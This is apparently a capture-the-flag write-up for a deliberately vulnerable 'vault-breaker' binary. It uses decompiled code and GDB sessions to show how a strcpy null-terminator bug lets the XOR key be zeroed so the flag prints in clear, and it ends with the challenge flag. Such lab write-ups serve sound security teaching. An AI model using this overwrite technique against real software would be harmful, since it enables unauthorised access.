Vault-breaker
5 minutes to read
We have a 64-bit binary called vault-breaker
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./.glibc/'
If we execute it, we have two options:
$ ./vault-breaker
Current status: Unlocked π
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Random secure encryption key has been generated!
1. Generate new key π
2. Secure the Vault π
>
If we use Ghidra to decompile the binary, we can see this main
function:
void main() {
long option;
setup();
banner();
key_gen();
fprintf(stdout, "%s\n[+] Random secure encryption key has been generated!\n%s", &DAT_00103142, &DAT_001012f8);
fflush(stdout);
while (true) {
while (true) {
printf(&DAT_00105160, &DAT_001012f8);
option = read_num();
if (option != 1) break;
new_key_gen();
}
if (option != 2) break;
secure_password();
}
printf("%s\n[-] Invalid option, exiting..\n", &DAT_00101300);
/* WARNING: Subroutine does not return */
exit(0x45);
}
The first option calls new_key_gen
:
void new_key_gen() {
int fd;
FILE *__stream;
long in_FS_OFFSET;
ulong i;
ulong length;
char new_key[40];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
i = 0;
length = 0x22;
__stream = fopen("/dev/urandom", "rb");
if (__stream == (FILE *) 0x0) {
fprintf(stdout, "\n%sError opening /dev/urandom, exiting..\n", &DAT_00101300);
/* WARNING: Subroutine does not return */
exit(0x15);
}
while (0x1f < length) {
printf("\n[*] Length of new password (0-%d): ", 31);
length = read_num();
}
memset(new_key, 0, 32);
fd = fileno(__stream);
read(fd, new_key, length);
for (; i < length; i = i + 1) {
while (new_key[i] == '\0') {
fd = fileno(__stream);
read(fd, new_key + i, 1);
}
}
strcpy(random_key, new_key);
fclose(__stream);
printf("\n%s[+] New key has been genereated successfully!\n%s", &DAT_00103142, &DAT_001012f8);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This function has a bug that can be exploited. However, let’s see what the second option is for.
The second option calls secure_password
:
void secure_password() {
char *__buf;
int __fd;
ulong uVar1;
size_t sVar2;
long in_FS_OFFSET;
char acStack136[24];
undefined8 uStack112;
int i;
int local_64;
char *local_60;
undefined8 local_58;
char *flag;
FILE *fp;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
uStack112 = 0x100c26;
puts("\x1b[1;34m");
uStack112 = 0x100c4c;
printf(&DAT_00101308, &DAT_001012f8, &DAT_00101300, &DAT_001012f8);
local_60 = &DAT_00101330;
local_64 = 0x17;
local_58 = 0x16;
flag = acStack136;
memset(acStack136, 0, 0x17);
fp = fopen("flag.txt", "rb");
__buf = flag;
if (fp == (FILE *) 0x0) {
fprintf(stderr, "\n%s[-] Error opening flag.txt, contact an Administrator..\n", &DAT_00101300);
/* WARNING: Subroutine does not return */
exit(0x15);
}
sVar2 = (size_t) local_64;
__fd = fileno(fp);
read(__fd, __buf, sVar2);
fclose(fp);
puts(local_60);
fwrite("\nMaster password for Vault: ", 1, 0x1c, stdout);
i = 0;
while (true) {
uVar1 = (ulong) i;
sVar2 = strlen(flag);
if (sVar2 <= uVar1) break;
putchar((int) (char) (random_key[i] ^ flag[i]));
i = i + 1;
}
puts("\n");
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
So we see that secure_password
prints the flag encrypted with XOR and random_key
.
The idea here is to abuse the bug in new_key_gen
so that we overwrite random_key
with all null bytes and the XOR cipher does nothing.
The problem is here:
strcpy(random_key, new_key);
The variable new_key
has a given number of random values (from 0 to 31). The problem is that strcpy
interprets new_key
as a string, which is terminated by a null byte. And this null byte is copied into random_key
.
The idea is to change the key starting with length 31 and go decreasing until 0. At this point, we will have a null random_key
. Let’s check some steps with GDB:
$ gdb -q vault-breaker
Reading symbols from vault-breaker...
(No debugging symbols found in vault-breaker)
gefβ€ disassemble new_key_gen
Dump of assembler code for function new_key_gen:
0x0000000000001026 <+0>: push rbp
...
0x000000000000113d <+279>: cmp rax,QWORD PTR [rbp-0x50]
0x0000000000001141 <+283>: jb 0x1122 <new_key_gen+252>
0x0000000000001143 <+285>: lea rax,[rbp-0x40]
0x0000000000001147 <+289>: mov rsi,rax
0x000000000000114a <+292>: lea rdi,[rip+0x204f0f] # 0x206060 <random_key>
0x0000000000001151 <+299>: call 0x9d0 <strcpy@plt>
0x0000000000001156 <+304>: mov rax,QWORD PTR [rbp-0x48]
0x000000000000115a <+308>: mov rdi,rax
0x000000000000115d <+311>: call 0x9f0 <fclose@plt>
...
0x0000000000001196 <+368>: add rsp,0x58
0x000000000000119a <+372>: pop rbx
0x000000000000119b <+373>: pop rbp
0x000000000000119c <+374>: ret
End of assembler dump.
gefβ€ break *new_key_gen+299
Breakpoint 1 at 0x1151
gefβ€ start
Starting program: ./vault-breaker
Current status: Unlocked π
...
[+] Random secure encryption key has been generated!
1. Generate new key π
2. Secure the Vault π
> 1
[*] Length of new password (0-31): 31
Breakpoint 1, 0x0000555555401151 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0x3a13df13164d2f9b 0x3e52423f3cde51c2
0x555555606070 <random_key+16>: 0x42b8e9edf141c794 0x7d9940e7ae4bf33e
gefβ€ x/4gx 0x007fffffffe600
0x7fffffffe600: 0x78d46927bf7ceb4a 0x1bdb7bc09e2832bb
0x7fffffffe610: 0x977650dac427a3fa 0x00dbb4767e5144df
gefβ€ ni
Program received signal SIGALRM, Alarm clock.
0x0000555555401156 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0x78d46927bf7ceb4a 0x1bdb7bc09e2832bb
0x555555606070 <random_key+16>: 0x977650dac427a3fa 0x00dbb4767e5144df
gefβ€ continue
Continuing.
[+] New key has been genereated successfully!
1. Generate new key π
2. Secure the Vault π
> 1
[*] Length of new password (0-31): 30
Breakpoint 1, 0x0000555555401151 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0x78d46927bf7ceb4a 0x1bdb7bc09e2832bb
0x555555606070 <random_key+16>: 0x977650dac427a3fa 0x00dbb4767e5144df
gefβ€ x/4gx 0x007fffffffe600
0x7fffffffe600: 0xf981c407429c1b43 0x85f070e2c1c8e444
0x7fffffffe610: 0x46d952b3d580c7dd 0x0000782791b7d021
gefβ€ ni
0x0000555555401156 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0xf981c407429c1b43 0x85f070e2c1c8e444
0x555555606070 <random_key+16>: 0x46d952b3d580c7dd 0x0000782791b7d021
gefβ€ continue
Continuing.
[+] New key has been genereated successfully!
1. Generate new key π
2. Secure the Vault π
> 1
[*] Length of new password (0-31): 29
Breakpoint 1, 0x0000555555401151 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0xf981c407429c1b43 0x85f070e2c1c8e444
0x555555606070 <random_key+16>: 0x46d952b3d580c7dd 0x0000782791b7d021
gefβ€ x/4gx 0x007fffffffe600
0x7fffffffe600: 0xdec16a4ae0c0f28c 0x017ce2a4f208304d
0x7fffffffe610: 0x69b0acb732508fb3 0x0000009c2b0b449c
gefβ€ ni
0x0000555555401156 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0xdec16a4ae0c0f28c 0x017ce2a4f208304d
0x555555606070 <random_key+16>: 0x69b0acb732508fb3 0x0000009c2b0b449c
So with this process we fill random_key
with null bytes. After that, we only need to request the encrypted flag. All of this can be automated with a Python script: solve.py
.
$ python3 solve.py 206.189.125.80:30580
[*] './vault-breaker'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./.glibc/'
[+] Opening connection to 206.189.125.80 on port 30580: Done
[β] Number: 0
[*] Closed connection to 206.189.125.80 port 30580
HTB{d4nz4_kudur0r0r0}